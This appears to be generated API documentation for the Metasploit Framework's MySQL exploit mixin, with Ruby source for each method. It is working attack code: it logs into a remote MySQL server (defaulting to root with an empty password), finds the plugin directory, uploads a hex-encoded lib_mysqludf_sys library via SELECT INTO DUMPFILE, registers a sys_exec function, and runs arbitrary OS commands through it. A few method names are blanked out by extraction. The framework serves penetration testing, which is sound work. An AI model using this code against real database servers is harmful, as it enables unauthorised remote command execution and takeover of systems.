Module: Msf::Exploit::Remote::MYSQL

Includes:
Tcp
Defined in:
lib/msf/core/exploit/mysql.rb

Instance Attribute Summary

Attributes included from Tcp

#sock

Instance Method Summary collapse

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #deregister_tcp_options, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Instance Method Details

#initialize(info = {}) ⇒ Object 


23
24
25
26
27
28
29
30
31
32
33
34
 
# File 'lib/msf/core/exploit/mysql.rb', line 23

def initialize(info = {})
  super

  register_options(
    [
      Opt::RHOST,
      Opt::RPORT(3306),
      OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
      OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
    ], Msf::Exploit::Remote::MYSQL
  )
end

#mysql_add_sys_exec ⇒ Object 


209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
 
# File 'lib/msf/core/exploit/mysql.rb', line 209

def mysql_add_sys_exec
  arch = mysql_get_arch
  case arch
  when :win64,:win32,:linux64,:linux32
    target_path = mysql_get_plugin_dir
    if target_path
      print_status "Target arch (#{arch}) and target path both okay."
      soname = mysql_upload_sys_udf(arch,target_path)
      mysql_drop_and_create_sys_exec(soname)
      return true
    else
      print_status "Cannot determine an appropriate target path."
      false
    end
  when :unknown
    print_error "Cannot determine target's architecture"
    return false
  else
    print_error "Target is an incompatible architecture: #{arch}"
    return false
  end
end

#mysql_check_for_sys_exec ⇒ Object 


232
233
234
235
236
 
# File 'lib/msf/core/exploit/mysql.rb', line 232

def mysql_check_for_sys_exec
  print_status "Checking for sys_exec()..."
  res = mysql_query("select * from mysql.func where name = 'sys_exec'")
  res.size == 1
end

#mysql_drop_and_create_sys_exec(soname) ⇒ Object 


175
176
177
178
179
180
181
182
183
184
 
# File 'lib/msf/core/exploit/mysql.rb', line 175

def mysql_drop_and_create_sys_exec(soname)
  # Just drop it. MySQL will always say "OK" anyway.
  # See #5244
  mysql_query("DROP FUNCTION IF EXISTS sys_exec")

  res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
  return false if res.nil?

  return true
end

#mysql_get_arch ⇒ Object 


186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
 
# File 'lib/msf/core/exploit/mysql.rb', line 186

def mysql_get_arch
  print_status "Checking target architecture..."
  res = mysql_get_variable("@@version_compile_os")
  return :unknown unless res
  case res
  when /Win64/i
    :win64
  when /Win32/i
    :win32
  when /Linux/i
    # we need a second query to determine bits
    res = mysql_get_variable("@@version_compile_machine")
    return :unknown unless res
    if res =~ /x86_64/i
      :linux64
    else
      :linux32
    end
  else
    res
  end
end

#mysql_get_plugin_dir ⇒ Object 


100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
 
# File 'lib/msf/core/exploit/mysql.rb', line 100

def mysql_get_plugin_dir
  print_status "Checking for MySQL plugin directory..."
  plugin_res = nil
  base_res = nil
  plugin_res = mysql_get_variable("@@plugin_dir") rescue nil
  begin
    res = mysql_query("show variables like 'basedir'")
    base_res = res.first[1] if res.respond_to? :first
  rescue nil

  end

  if plugin_res.respond_to? :split
    target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
  elsif base_res.respond_to? :split
    target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
  else
    print_error "Cannot determine the plugin directory."
    return false
  end
end

#mysql_get_temp_dir ⇒ Object 


122
123
124
125
126
127
128
129
130
131
 
# File 'lib/msf/core/exploit/mysql.rb', line 122

def mysql_get_temp_dir
  print_status "Checking for temp directory..."
  res = mysql_get_variable("@@tmpdir")
  if res.respond_to? :split
    target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
  else
    print_error "Cannot determine the temp directory, exiting."
    return false
  end
end

#mysql_get_variable(var) ⇒ Object 


133
134
135
136
137
138
 
# File 'lib/msf/core/exploit/mysql.rb', line 133

def mysql_get_variable(var)
  res = mysql_query("SELECT #{var}")
  if res and res.respond_to? :first
    return res.first.first
  end
end

#mysql_login(user = 'root', pass = '', db = nil) ⇒ Object 


36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 
# File 'lib/msf/core/exploit/mysql.rb', line 36

def (user='root', pass='', db=nil)
  disconnect if self.sock
  connect

  begin
    @mysql_handle = ::RbMysql.connect({
      :host           => rhost,
      :port           => rport,
      :read_timeout   => 300,
      :write_timeout  => 300,
      :socket         => sock,
      :user           => user,
      :password       => pass,
      :db             => db
    })
  rescue Errno::ECONNREFUSED
    print_error("Connection refused")
    return false
  rescue RbMysql::ClientError
    print_error("Connection timedout")
    return false
  rescue Errno::ETIMEDOUT
    print_error("Operation timedout")
    return false
  rescue RbMysql::HostNotPrivileged
    print_error("Unable to login from this host due to policy")
    return false
  rescue RbMysql::AccessDeniedError
    print_error("Access denied")
    return false
  end

  return true
end

#mysql_login_datastore ⇒ Object 


76
77
78
79
80
81
82
83
84
85
 
# File 'lib/msf/core/exploit/mysql.rb', line 76

def 
  begin
    res = (datastore['USERNAME'], datastore['PASSWORD'])
  rescue Rex::ConnectionTimeout => e
    print_error("Timeout: #{e.message}")
    res = false
  end

  return res
end

#mysql_logoff ⇒ Object 


71
72
73
74
 
# File 'lib/msf/core/exploit/mysql.rb', line 71

def mysql_logoff
  @mysql_handle = nil if @mysql_handle
  disconnect if self.sock
end

#mysql_query(sql) ⇒ Object 


87
88
89
90
91
92
93
94
95
96
97
98
 
# File 'lib/msf/core/exploit/mysql.rb', line 87

def mysql_query(sql)
  begin
    res = @mysql_handle.query(sql)
  rescue ::RbMysql::Error => e
    print_error("MySQL Error: #{e.class} #{e.to_s}")
    return nil
  rescue Rex::ConnectionTimeout => e
    print_error("Timeout: #{e.message}")
    return nil
  end
  res
end

#mysql_sys_exec(cmd, doprint = false, opts = {}) ⇒ Object 


238
239
240
241
242
243
244
 
# File 'lib/msf/core/exploit/mysql.rb', line 238

def mysql_sys_exec(cmd,doprint=false,opts={})
  res = mysql_query("select sys_exec('#{cmd}')")
  if res && doprint
    print_status "Executing: #{cmd}"
    return res
  end
end

#mysql_upload_binary(bindata) ⇒ Object 


140
141
142
143
144
145
146
147
148
149
150
 
# File 'lib/msf/core/exploit/mysql.rb', line 140

def mysql_upload_binary(bindata)
  blob = "0x"
  blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join
  tmpdir = mysql_get_temp_dir
  binname = Rex::Text.rand_text_alpha(8)
  binpath = tmpdir << binname
  print_status "Uploading binary as #{binpath}..."
  print_status "SELECT #{blob} into DUMPFILE '#{binpath}'"
  res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
  return res
end

#mysql_upload_sys_udf(arch = :win32, target_path = nil) ⇒ Object 


152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
 
# File 'lib/msf/core/exploit/mysql.rb', line 152

def mysql_upload_sys_udf(arch=:win32,target_path=nil)
  case arch
  when :win32
    fname = 'lib_mysqludf_sys_32.dll'
  when :win64
    fname = 'lib_mysqludf_sys_64.dll'
  when :linux32
    fname = 'lib_mysqludf_sys_32.so'
  when :linux64
    fname = 'lib_mysqludf_sys_64.so'
  end
  sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
  data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
  blob = "0x"
  blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
  dll_name = Rex::Text.rand_text_alpha(8)
  [:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so'
  target_dll = target_path << dll_name << extension
  print_status "Uploading #{fname} library to #{target_dll}..."
  mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
  return dll_name << extension
end